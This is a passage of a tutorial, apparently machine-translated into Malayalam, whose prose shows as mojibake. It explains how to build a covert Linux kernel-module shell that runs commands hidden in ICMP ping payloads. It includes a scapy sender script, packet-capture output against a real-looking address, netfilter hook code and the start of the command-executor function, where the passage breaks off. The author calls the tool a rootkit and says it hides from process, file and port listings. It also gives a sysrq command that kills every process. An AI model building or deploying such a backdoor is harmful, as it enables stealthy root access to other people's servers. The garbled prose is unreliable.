เดเดธเดฟเดŽเด‚เดชเดฟเด•เตเด•เต เดฎเตเด•เดณเดฟเดฒเตเดณเตเดณ เดจเตเดฏเต‚เด•เตเดฒเดฟเดฏเตผ เดทเต†เตฝ

เดเดธเดฟเดŽเด‚เดชเดฟเด•เตเด•เต เดฎเตเด•เดณเดฟเดฒเตเดณเตเดณ เดจเตเดฏเต‚เด•เตเดฒเดฟเดฏเตผ เดทเต†เตฝ

เด…เดšเตเดšเต เดกเดฟ.เด†เตผ.: เดžเดพเตป เด’เดฐเต เด•เต‡เตผเดฃเตฝ เดฎเตŠเดกเตเดฏเต‚เตพ เดŽเดดเตเดคเตเด•เดฏเดพเดฃเต, เด…เดคเต ICMP เดชเต‡เดฒเต‹เดกเดฟเตฝ เดจเดฟเดจเตเดจเตเดณเตเดณ เด•เดฎเดพเตปเดกเตเด•เตพ เดตเดพเดฏเดฟเด•เตเด•เตเด•เดฏเตเด‚ เดจเดฟเด™เตเด™เดณเตเดŸเต† SSH เด•เตเดฐเดพเดทเดพเดฏเดพเดฒเตเด‚ เดธเต†เตผเดตเดฑเดฟเตฝ เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเด‚. เดเดฑเตเดฑเดตเตเด‚ เด…เด•เตเดทเดฎเตผเด•เตเด•เต, เดŽเดฒเตเดฒเดพ เด•เต‹เดกเตเด‚ เดธเดพเดฎเต‚เดนเดฟเด•เด‚.

เดฎเตเดจเตเดจเดฑเดฟเดฏเดฟเดชเตเดชเต! เดชเดฐเดฟเดšเดฏเดธเดฎเตเดชเดจเตเดจเดฐเดพเดฏ เดธเดฟ เดชเตเดฐเต‹เด—เตเดฐเดพเดฎเตผเดฎเดพเตผ เดชเตŠเดŸเตเดŸเดฟเด•เตเด•เดฐเดฏเดพเตป เดธเดพเดงเตเดฏเดคเดฏเตเดฃเตเดŸเต! เดชเดฆเดพเดตเดฒเดฟเดฏเดฟเตฝ เดชเต‹เดฒเตเด‚ เดŽเดจเดฟเด•เตเด•เต เดคเต†เดฑเตเดฑเตเดชเดฑเตเดฑเดฟเดฏเต‡เด•เตเด•เดพเด‚, เดŽเดจเตเดจเดพเตฝ เดเดคเต เดตเดฟเดฎเตผเดถเดจเดตเตเด‚ เดธเตเดตเดพเด—เดคเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต. เดธเดฟ เดชเตเดฐเต‹เด—เตเดฐเดพเดฎเดฟเด‚เด—เดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เดตเดณเดฐเต† เดเด•เดฆเต‡เดถ เดงเดพเดฐเดฃเดฏเตเดณเตเดณเดตเดฐเตเด‚ เดฒเดฟเดจเด•เตเดธเดฟเดจเตเดฑเต† เด‰เตพเดตเดถเด‚ เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เดพเตป เด†เด—เตเดฐเดนเดฟเด•เตเด•เตเดจเตเดจเดตเดฐเตเดฎเดพเดฏเดตเดฐเต† เด‰เดฆเตเดฆเต‡เดถเดฟเดšเตเดšเตเดณเตเดณเดคเดพเดฃเต เดชเต‹เดธเตเดฑเตเดฑเต.

เดŽเดจเตเดฑเต† เด†เดฆเตเดฏเดคเตเดคเต† เด•เดฎเดจเตเดฑเดฟเตฝ เดฒเต‡เด–เดจเด‚ เดšเดฟเดฒ "เดชเดคเดฟเดตเต" เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเตเด•เดณเต† เด…เดจเตเด•เดฐเดฟเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเดจเตเดจ SoftEther VPN-เดจเต† เดชเดฐเดพเดฎเตผเดถเดฟเดšเตเดšเต, เดชเตเดฐเดคเตเดฏเต‡เด•เดฟเดšเตเดšเตเด‚ HTTPS, ICMP, DNS เดŽเดจเตเดจเดฟเดตเดชเต‹เดฒเตเด‚. เดŽเดจเดฟเด•เตเด•เต HTTP(S) เดตเดณเดฐเต† เดชเดฐเดฟเดšเดฟเดคเดฎเดพเดฏเดคเดฟเดจเดพเตฝ, ICMP, DNS เดŽเดจเตเดจเดฟเดตเดฏเดฟเดฒเต‚เดŸเต† เดŸเดฃเดฒเดฟเด‚เด—เต เดชเด เดฟเด•เตเด•เต‡เดฃเตเดŸเดฟ เดตเดจเตเดจเดคเดฟเดจเดพเตฝ, เด…เดตเดฐเดฟเตฝ เด†เดฆเตเดฏเดคเตเดคเต‡เดคเต เดฎเดพเดคเตเดฐเดฎเต‡ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เต‚ เดŽเดจเตเดจเต เดŽเดจเดฟเด•เตเด•เต เดŠเดนเดฟเด•เตเด•เดพเดตเตเดจเตเดจเดคเต‡เดฏเตเดณเตเดณเต‚.

เดเดธเดฟเดŽเด‚เดชเดฟเด•เตเด•เต เดฎเตเด•เดณเดฟเดฒเตเดณเตเดณ เดจเตเดฏเต‚เด•เตเดฒเดฟเดฏเตผ เดทเต†เตฝ

เด…เดคเต†, 2020-เตฝ เดจเดฟเด™เตเด™เตพเด•เตเด•เต ICMP เดชเดพเด•เตเด•เดฑเตเดฑเตเด•เดณเดฟเดฒเต‡เด•เตเด•เต เด’เดฐเต เด…เดจเดฟเดฏเดจเตเดคเตเดฐเดฟเดคเดฎเดพเดฏ เดชเต‡เดฒเต‹เดกเต เดšเต‡เตผเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเดฎเต†เดจเตเดจเต เดžเดพเตป เดฎเดจเดธเตเดธเดฟเดฒเดพเด•เตเด•เดฟ. เดŽเดจเตเดจเดพเตฝ เด’เดฐเดฟเด•เตเด•เดฒเตเด‚ เดตเตˆเด•เดฟเดฏเดคเดฟเดจเต‡เด•เตเด•เดพเตพ เดจเดฒเตเดฒเดคเต! เด…เดคเดฟเดจเต†เด•เตเด•เตเดฑเดฟเดšเตเดšเต เดŽเดจเตเดคเต†เด™เตเด•เดฟเดฒเตเด‚ เดšเต†เดฏเตเดฏเดพเตป เด•เดดเดฟเดฏเตเดฎเต†เดจเตเดจเดคเดฟเดจเดพเตฝ, เด…เดคเต เดšเต†เดฏเตเดฏเต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต. เดŽเดจเตเดฑเต† เดฆเตˆเดจเด‚เดฆเดฟเดจ เดœเต€เดตเดฟเดคเดคเตเดคเดฟเตฝ เดžเดพเตป เดฎเดฟเด•เตเด•เดชเตเดชเต‹เดดเตเด‚ เด•เดฎเดพเตปเดกเต เดฒเตˆเตป เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเดพเตฝ, SSH เดตเดดเดฟ เด‰เตพเดชเตเดชเต†เดŸเต†, เด’เดฐเต ICMP เดทเต†เตฝ เดŽเดจเตเดจ เด†เดถเดฏเด‚ เด†เดฆเตเดฏเด‚ เดŽเดจเตเดฑเต† เดฎเดจเดธเตเดธเดฟเตฝ เดตเดจเตเดจเต. เด’เดฐเต เดธเดฎเตเดชเต‚เตผเดฃเตเดฃ เดฌเตเตพเดทเต€เตฝเดกเต เดฌเดฟเด™เตเด•เต‹ เด•เต‚เดŸเตเดŸเดฟเดšเตเดšเต‡เตผเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต, เดŽเดจเดฟเด•เตเด•เต เดเด•เดฆเต‡เดถ เดงเดพเดฐเดฃ เดฎเดพเดคเตเดฐเดฎเตเดณเตเดณ เด’เดฐเต เดญเดพเดทเดฏเดฟเตฝ เด‡เดคเต เด’เดฐเต เดฒเดฟเดจเด•เตเดธเต เดฎเตŠเดกเตเดฏเต‚เดณเดพเดฏเดฟ เดŽเดดเตเดคเดพเตป เดžเดพเตป เดคเต€เดฐเตเดฎเดพเดจเดฟเดšเตเดšเต. เดชเตเดฐเด•เตเดฐเดฟเดฏเด•เดณเตเดŸเต† เดชเดŸเตเดŸเดฟเด•เดฏเดฟเตฝ เด…เดคเตเดคเดฐเด‚ เด’เดฐเต เดทเต†เตฝ เดฆเตƒเดถเตเดฏเดฎเดพเด•เดฟเดฒเตเดฒ, เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด…เดคเต เด•เต‡เตผเดฃเดฒเดฟเดฒเต‡เด•เตเด•เต เดฒเต‹เดกเต เดšเต†เดฏเตเดฏเดพเด‚, เด…เดคเต เดซเดฏเตฝ เดธเดฟเดธเตเดฑเตเดฑเดคเตเดคเดฟเตฝ เด‰เดฃเตเดŸเดพเด•เดฟเดฒเตเดฒ, เดฒเดฟเดธเดฃเดฟเด‚เด—เต เดชเต‹เตผเดŸเตเดŸเตเด•เดณเตเดŸเต† เดชเดŸเตเดŸเดฟเด•เดฏเดฟเตฝ เดธเด‚เดถเดฏเดพเดธเตเดชเดฆเดฎเดพเดฏ เด’เดจเตเดจเตเด‚ เดจเดฟเด™เตเด™เตพ เด•เดพเดฃเดฟเดฒเตเดฒ. เด…เดคเดฟเดจเตเดฑเต† เด•เดดเดฟเดตเตเด•เดณเตเดŸเต† เด•เดพเดฐเตเดฏเดคเตเดคเดฟเตฝ, เด‡เดคเตŠเดฐเต เดชเต‚เตผเดฃเตเดฃเดฎเดพเดฏ เดฑเต‚เดŸเตเดŸเตเด•เดฟเดฑเตเดฑเดพเดฃเต, เดŽเดจเตเดจเดพเตฝ เด‡เดคเต เดฎเต†เดšเตเดšเดชเตเดชเต†เดŸเตเดคเตเดคเดพเดจเตเด‚ SSH เดตเดดเดฟ เดฒเต‹เด—เดฟเตป เดšเต†เดฏเตเดฏเดพเดจเตเด‚ เด•เตเดฑเดžเตเดžเดคเต เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเดพเดจเตเด‚ เดฒเต‹เดกเต เดถเดฐเดพเดถเดฐเดฟ เดตเดณเดฐเต† เด•เต‚เดŸเตเดคเดฒเดพเดฏเดฟเดฐเดฟเด•เตเด•เตเดฎเตเดชเต‹เตพ เด‡เดคเต เด…เดตเดธเดพเดจ เด†เดถเตเดฐเดฏเดฎเดพเดฏเดฟ เด‰เดชเดฏเต‹เด—เดฟเด•เตเด•เตเดฎเต†เดจเตเดจเต เดžเดพเตป เดชเตเดฐเดคเต€เด•เตเดทเดฟเด•เตเด•เตเดจเตเดจเต. echo i > /proc/sysrq-triggerเดฑเต€เดฌเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเดพเดคเต† เด†เด•เตเดธเดธเต เดชเตเดจเดƒเดธเตเดฅเดพเดชเดฟเด•เตเด•เดพเตป.

เดžเด™เตเด™เตพ เด’เดฐเต เดŸเต†เด•เตเดธเตเดฑเตเดฑเต เดŽเดกเดฟเดฑเตเดฑเตผ เดŽเดŸเตเด•เตเด•เตเดจเตเดจเต, เดชเตˆเดคเตเดคเตบ, เดธเดฟ, เด—เต‚เด—เดฟเตพ เดŽเดจเตเดจเดฟเดตเดฏเดฟเดฒเต† เด…เดŸเดฟเดธเตเดฅเดพเดจ เดชเตเดฐเต‹เด—เตเดฐเดพเดฎเดฟเด‚เด—เต เด•เดดเดฟเดตเตเด•เตพ เดตเต†เตผเดšเตเดตเตฝ เดŽเดฒเตเดฒเดพเด‚ เดคเด•เดฐเตเด•เดฏเดพเดฃเต†เด™เตเด•เดฟเตฝ (เด“เดชเตเดทเดฃเตฝ - เดฒเต‹เด•เตเด•เตฝ เดตเต†เตผเดšเตเดตเตฝเดฌเต‹เด•เตเดธเต/เด•เต†เดตเดฟเดŽเด‚/เดฎเตเดคเดฒเดพเดฏเดคเต) เด•เดคเตเดคเดฟเด•เตเด•เต เดคเดพเดดเต† เดตเดฏเตเด•เตเด•เตเดจเตเดจเดคเดฟเตฝ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดชเตเดฐเดถเตโ€Œเดจเดฎเดฟเดฒเตเดฒ, เดจเดฎเตเด•เตเด•เต เดชเต‹เด•เดพเด‚!

เด•เตเดฒเดฏเดจเตเดฑเต เดตเดถเด‚

เด•เตเดฒเดฏเดจเตเดฑเต เดญเดพเด—เดคเตเดคเดฟเดจเดพเดฏเดฟ เดŽเดจเดฟเด•เตเด•เต เดเด•เดฆเต‡เดถเด‚ 80 เดตเดฐเดฟเด•เดณเตเดณเตเดณ เด’เดฐเต เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดŽเดดเตเดคเต‡เดฃเตเดŸเดฟเดตเดฐเตเดฎเต†เดจเตเดจเต เดŽเดจเดฟเด•เตเด•เต เดคเต‹เดจเตเดจเดฟ, เดชเด•เตเดทเต‡ เดŽเดจเดฟเด•เตเด•เต เดตเต‡เดฃเตเดŸเดฟ เด…เดคเต เดšเต†เดฏเตเดค เดฆเดฏเดฏเตเดณเตเดณ เด†เดณเตเด•เตพ เด‰เดฃเตเดŸเดพเดฏเดฟเดฐเตเดจเตเดจเต. เดŽเดฒเตเดฒเดพ เดœเต‹เดฒเดฟเดฏเตเด‚. เด•เต‹เดกเต เด…เดชเตเดฐเดคเต€เด•เตเดทเดฟเดคเดฎเดพเดฏเดฟ เดฒเดณเดฟเดคเดฎเดพเดฏเดฟ เดฎเดพเดฑเดฟ, เดชเตเดฐเดงเดพเดจเดชเตเดชเต†เดŸเตเดŸ 10 เดตเดฐเดฟเด•เดณเดพเดฏเดฟ เดฏเต‹เดœเดฟเด•เตเด•เตเดจเตเดจเต:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดฐเดฃเตเดŸเต เด†เตผเด—เตเดฏเตเดฎเต†เดจเตเดฑเตเด•เตพ เดŽเดŸเตเด•เตเด•เตเดจเตเดจเต, เด’เดฐเต เดตเดฟเดฒเดพเดธเดตเตเด‚ เดชเต‡เดฒเต‹เดกเตเด‚. เด…เดฏเดฏเตโ€Œเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เดฎเตเดฎเตเดชเต, เดชเต‡เดฒเต‹เดกเดฟเดจเต เดฎเตเดฎเตเดชเดพเดฏเดฟ เด’เดฐเต เด•เต€ เดจเตฝเด•เตเด‚ run:, เดฑเดพเตปเดกเด‚ เดชเต‡เดฒเต‹เดกเตเด•เดณเตเดณเตเดณ เดชเดพเด•เตเด•เต‡เดœเตเด•เตพ เด’เดดเดฟเดตเดพเด•เตเด•เดพเตป เดžเด™เตเด™เตพเด•เตเด•เต เด‡เดคเต เด†เดตเดถเตเดฏเดฎเดพเดฃเต.

เด•เต†เตผเดฃเดฒเดฟเดจเต เดชเดพเด•เตเด•เต‡เดœเตเด•เตพ เดคเดฏเตเดฏเดพเดฑเดพเด•เตเด•เดพเตป เดชเตเดฐเดคเตเดฏเต‡เด•เดพเดตเด•เดพเดถเด™เตเด™เตพ เด†เดตเดถเตเดฏเดฎเดพเดฃเต, เด…เดคเดฟเดจเดพเตฝ เดธเตเด•เตเดฐเดฟเดชเตเดฑเตเดฑเต เดธเต‚เดชเตเดชเตผ เดฏเต‚เดธเดฑเดพเดฏเดฟ เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต. เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดทเตป เดชเต†เตผเดฎเดฟเดทเดจเตเด•เตพ เดจเตฝเด•เดพเดจเตเด‚ scapy เดคเดจเตเดจเต† เด‡เตปเดธเตเดฑเตเดฑเดพเตพ เดšเต†เดฏเตเดฏเดพเดจเตเด‚ เดฎเดฑเด•เตเด•เดฐเตเดคเต. เดกเต†เดฌเดฟเดฏเตป เดŽเดจเตเดจ เดชเต‡เดฐเดฟเตฝ เด’เดฐเต เดชเดพเด•เตเด•เต‡เดœเต เด‰เดฃเตเดŸเต python3-scapy. เดŽเดฒเตเดฒเดพเด‚ เดŽเด™เตเด™เดจเต† เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเตเดตเต†เดจเตเดจเต เด‡เดชเตเดชเต‹เตพ เดจเดฟเด™เตเด™เตพเด•เตเด•เต เดชเดฐเดฟเดถเต‹เดงเดฟเด•เตเด•เดพเด‚.

เด•เดฎเดพเตปเดกเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเดชเตเดชเดฟเด•เตเด•เตเด•เดฏเตเด‚ เด”เดŸเตเดŸเตเดชเตเดŸเตเดŸเต เดšเต†เดฏเตเดฏเตเด•เดฏเตเด‚ เดšเต†เดฏเตเดฏเตเดจเตเดจเต
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

เดธเตเดจเดฟเดซเดฑเดฟเตฝ เด‡เด™เตเด™เดจเต†เดฏเดพเดฃเต เด•เดพเดฃเตเดจเตเดจเดคเต
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

เดชเตเดฐเดคเดฟเด•เดฐเดฃ เดชเดพเด•เตเด•เต‡เดœเดฟเดฒเต† เดชเต‡เดฒเต‹เดกเต เดฎเดพเดฑเดฟเดฒเตเดฒ.

เด•เต‡เตผเดฃเตฝ เดฎเตŠเดกเตเดฏเต‚เตพ

เด’เดฐเต เดกเต†เดฌเดฟเดฏเตป เดตเต†เตผเดšเตเดตเตฝ เดฎเต†เดทเต€เดจเดฟเตฝ เดจเดฟเตผเดฎเตเดฎเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด•เตเดฑเดžเตเดžเดคเต เด†เดตเดถเตเดฏเดฎเดพเดฃเต make ะธ linux-headers-amd64, เดฌเดพเด•เตเด•เดฟเดฏเตเดณเตเดณเดต เด†เดถเตเดฐเดฟเดคเดคเตเดตเดคเตเดคเดฟเดจเตเดฑเต† เดฐเต‚เดชเดคเตเดคเดฟเตฝ เดตเดฐเตเด‚. เดฒเต‡เด–เดจเดคเตเดคเดฟเดฒเต† เดฎเตเดดเตเดตเตป เด•เต‹เดกเตเด‚ เดžเดพเตป เดจเตฝเด•เดฟเดฒเตเดฒ; เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด…เดคเต Github-เตฝ เด•เตเดฒเต‹เตบ เดšเต†เดฏเตเดฏเดพเด‚.

เดนเตเด•เตเด•เต เดธเดœเตเดœเต€เด•เดฐเดฃเด‚

เด†เดฐเด‚เดญเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต, เดฎเตŠเดกเตเดฏเต‚เตพ เดฒเต‹เดกเตเดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเด‚ เด…เตบเดฒเต‹เดกเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเด‚ เดžเด™เตเด™เตพเด•เตเด•เต เดฐเดฃเตเดŸเต เดซเด‚เด—เตเดทเดจเตเด•เตพ เด†เดตเดถเตเดฏเดฎเดพเดฃเต. เด…เตบเดฒเต‹เดกเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเตเดณเตเดณ เดชเตเดฐเดตเตผเดคเตเดคเดจเด‚ เด†เดตเดถเตเดฏเดฎเดฟเดฒเตเดฒ, เดชเด•เตเดทเต‡ เดชเดฟเดจเตเดจเต€เดŸเต rmmod เด‡เดคเต เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เดฟเดฒเตเดฒ; เด“เดซเต เดšเต†เดฏเตเดฏเตเดฎเตเดชเต‹เตพ เดฎเดพเดคเตเดฐเดฎเต‡ เดฎเตŠเดกเตเดฏเต‚เตพ เด…เตบเดฒเต‹เดกเต เดšเต†เดฏเตเดฏเตเด•เดฏเตเดณเตเดณเต‚.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

เดŽเดจเตเดคเดพเดฃเต เด‡เดตเดฟเดŸเต† เดจเดŸเด•เตเด•เตเดจเตเดจเดคเต:

  1. เดฎเตŠเดกเตเดฏเต‚เดณเตเด‚ เดจเต†เดฑเตเดฑเตเดซเดฟเตฝเดฑเตเดฑเดฑเตเด‚ เด•เตˆเด•เดพเดฐเตเดฏเด‚ เดšเต†เดฏเตเดฏเดพเตป เดฐเดฃเตเดŸเต เดนเต†เดกเตเดกเตผ เดซเดฏเดฒเตเด•เตพ เดตเดฒเดฟเดšเตเดšเดฟเดŸเตเดจเตเดจเต.
  2. เดŽเดฒเตเดฒเดพ เดชเตเดฐเดตเตผเดคเตเดคเดจเด™เตเด™เดณเตเด‚ เด’เดฐเต เดจเต†เดฑเตเดฑเตเดซเดฟเตฝเดŸเตเดŸเดฑเดฟเดฒเต‚เดŸเต† เด•เดŸเดจเตเดจเตเดชเต‹เด•เตเดจเตเดจเต, เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด…เดคเดฟเตฝ เด•เตŠเดณเตเดคเตเดคเตเด•เตพ เดธเดœเตเดœเดฎเดพเด•เตเด•เดพเตป เด•เดดเดฟเดฏเตเด‚. เด‡เดคเต เดšเต†เดฏเตเดฏเตเดจเตเดจเดคเดฟเดจเต, เดนเตเด•เตเด•เต เด•เต‹เตบเดซเดฟเด—เตผ เดšเต†เดฏเตเดฏเตเดจเตเดจ เด˜เดŸเดจ เดจเดฟเด™เตเด™เตพ เดชเตเดฐเด–เตเดฏเดพเดชเดฟเด•เตเด•เต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต. เด’เดฐเต เดนเตเด•เตเด•เต เด†เดฏเดฟ เดŽเด•เตเดธเดฟเด•เตเดฏเต‚เดŸเตเดŸเต เดšเต†เดฏเตเดฏเตเดจเตเดจ เดซเด‚เด—เตเดทเตป เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เตเด• เดŽเดจเตเดจเดคเดพเดฃเต เดเดฑเตเดฑเดตเตเด‚ เดชเตเดฐเดงเดพเดจเดชเตเดชเต†เดŸเตเดŸ เด•เดพเดฐเตเดฏเด‚: nfho.hook = icmp_cmd_executor; เดžเดพเตป เดชเดฟเดจเตเดจเต€เดŸเต เดšเดŸเด™เตเด™เดฟเดฒเต‡เด•เตเด•เต เดตเดฐเดพเด‚.
    เด…เดชเตเดชเต‹เตพ เดžเดพเตป เดชเดพเด•เตเด•เต‡เดœเดฟเดจเดพเดฏเดฟ เดชเตเดฐเต‹เดธเดธเตเดธเดฟเด‚เด—เต เดธเดฎเดฏเด‚ เดธเดœเตเดœเดฎเดพเด•เตเด•เดฟ: NF_INET_PRE_ROUTING เด•เต†เตผเดฃเดฒเดฟเตฝ เด†เดฆเตเดฏเด‚ เดฆเตƒเดถเตเดฏเดฎเดพเด•เตเดฎเตเดชเต‹เตพ เดชเดพเด•เตเด•เต‡เดœเต เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเดพเตป เดตเตเดฏเด•เตเดคเดฎเดพเด•เตเด•เตเดจเตเดจเต. เด‰เดชเดฏเต‡เดพเด—เดฟเด•เตเด•เดพเดจเต เด•เดดเดฟเดฏเตเด‚ NF_INET_POST_ROUTING เด•เต‡เตผเดฃเดฒเดฟเตฝ เดจเดฟเดจเตเดจเต เดชเตเดฑเดคเตเดคเตเด•เดŸเด•เตเด•เตเดฎเตเดชเต‹เตพ เดชเดพเด•เตเด•เดฑเตเดฑเต เดชเตเดฐเต‹เดธเดธเตเดธเต เดšเต†เดฏเตเดฏเดพเตป.
    เดžเดพเตป เดซเดฟเตฝเดŸเตเดŸเตผ IPv4 เด†เดฏเดฟ เดธเดœเตเดœเต€เด•เดฐเดฟเดšเตเดšเต: nfho.pf = PF_INET;.
    เดžเดพเตป เดŽเดจเตเดฑเต† เดนเตเด•เตเด•เดฟเดจเต เดเดฑเตเดฑเดตเตเด‚ เดฎเตเตปเด—เดฃเดจ เดจเตฝเด•เตเดจเตเดจเต: nfho.priority = NF_IP_PRI_FIRST;
    เดžเดพเตป เดกเดพเดฑเตเดฑ เด˜เดŸเดจเดฏเต† เดฏเดฅเดพเตผเดคเตเดฅ เดนเตเด•เตเด•เต เด†เดฏเดฟ เดฐเดœเดฟเดธเตเดฑเตเดฑเตผ เดšเต†เดฏเตเดฏเตเดจเตเดจเต: nf_register_net_hook(&init_net, &nfho);
  3. เด…เดจเตเดคเดฟเดฎ เดชเตเดฐเดตเตผเดคเตเดคเดจเด‚ เดนเตเด•เตเด•เต เดจเต€เด•เตเด•เด‚เดšเต†เดฏเตเดฏเตเดจเตเดจเต.
  4. เด•เด‚เดชเตˆเดฒเตผ เดชเดฐเดพเดคเดฟเดชเตเดชเต†เดŸเดพเดคเดฟเดฐเดฟเด•เตเด•เดพเตป เดฒเตˆเดธเตปเดธเต เดตเตเดฏเด•เตเดคเดฎเดพเดฏเดฟ เดธเต‚เดšเดฟเดชเตเดชเดฟเดšเตเดšเดฟเดฐเดฟเด•เตเด•เตเดจเตเดจเต.
  5. เดซเด™เตเดทเดจเตเด•เตพ module_init() ะธ module_exit() เดฎเตŠเดกเตเดฏเต‚เตพ เด†เดฐเด‚เดญเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเด‚ เด…เดตเดธเดพเดจเดฟเดชเตเดชเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเตเด‚ เดฎเดฑเตเดฑเต เดซเด‚เด—เตเดทเดจเตเด•เตพ เดธเดœเตเดœเดฎเดพเด•เตเด•เตเด•.

เดชเต‡เดฒเต‹เดกเต เดตเต€เดฃเตเดŸเต†เดŸเตเด•เตเด•เตเดจเตเดจเต

เด‡เดชเตเดชเต‹เตพ เดจเดฎเตเด•เตเด•เต เดชเต‡เดฒเต‹เดกเต เดŽเด•เตโ€Œเดธเตโ€ŒเดŸเตเดฐเดพเด•เตโ€Œเดฑเตเดฑเต เดšเต†เดฏเตเดฏเต‡เดฃเตเดŸเดคเตเดฃเตเดŸเต, เด‡เดคเต เดเดฑเตเดฑเดตเตเด‚ เดฌเตเดฆเตเดงเดฟเดฎเตเดŸเตเดŸเตเดณเตเดณ เด•เดพเดฐเตเดฏเดฎเดพเดฏเดฟ เดฎเดพเดฑเดฟ. เดชเต‡เดฒเต‹เดกเตเด•เตพเด•เตเด•เตŠเดชเตเดชเด‚ เดชเตเดฐเดตเตผเดคเตเดคเดฟเด•เตเด•เตเดจเตเดจเดคเดฟเดจเต เด•เต‡เตผเดฃเดฒเดฟเดจเต เดฌเดฟเตฝเดฑเตเดฑเต-เด‡เตป เดซเด‚เด—เตเดทเดจเตเด•เตพ เด‡เดฒเตเดฒ; เดจเดฟเด™เตเด™เตพเด•เตเด•เต เด‰เดฏเตผเดจเตเดจ เดคเดฒเดคเตเดคเดฟเดฒเตเดณเตเดณ เดชเตเดฐเต‹เดŸเตเดŸเต‹เด•เตเด•เต‹เดณเตเด•เดณเตเดŸเต† เดคเดฒเด•เตเด•เต†เดŸเตเดŸเตเด•เตพ เดฎเดพเดคเตเดฐเดฎเต‡ เดชเดพเดดเตโ€Œเดธเต เดšเต†เดฏเตเดฏเดพเตป เด•เดดเดฟเดฏเต‚.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
